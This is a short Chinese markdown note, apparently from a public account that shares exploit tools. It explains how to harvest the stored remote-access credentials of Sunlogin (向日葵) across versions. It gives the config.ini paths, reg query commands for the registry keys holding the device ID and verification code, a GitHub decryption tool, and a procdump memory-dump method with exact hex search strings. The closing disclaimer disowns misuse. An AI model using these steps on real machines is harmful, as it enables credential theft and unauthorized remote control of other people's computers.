向日葵密码抓取.md

查找向日葵文件地址方法

wmic process where "name like 'SunloginClient.exe'" get ExecutablePath, ProcessId

一、老版本

# 安装版：
C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
# 便携版：
C:\ProgramData\Oray\SunloginClient\config.ini

使用工具解密即可:

https://github.com/wafinfo/Sunflower_get_Password

二、较新版本

注册表获取：在向日葵v11.1.2.38529中，强化了加密机制，删除了配置文件config.ini中的fastcode（本机识别码）字段和encry_pwd(本机验证码)字段，而将这些敏感信息放到了注册表中，我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。

工具：

https://github.com/wafinfo/Sunflower_get_Password

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

三、最新版本

内存查找：首先找到向日葵用户进程，然后使用procdump等工具转储进程内存。

tasklist /v | findstr /i sunlogin
procdump64.exe -accepteula -ma 进程号

使用Winhex打开转储文件，按下Ctrl+Alt+X快捷键打开十六进制值搜索功能，搜索十六进制值66617374636F646522203A20226b，即可找到本机识别码。 搜索十六进制值636F6C6F725F65646974203E，使用F3快捷键可以跳到下一个匹配处，多跳2次即可找到本机验证码。

免责声明

该公众号主要是分享互联网上公开的一些漏洞poc和工具，利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号及作者不为此承担任何责任，一旦造成后果请自行承担！如果本公众号分享导致的侵权行为请告知，我们会立即删除并道歉。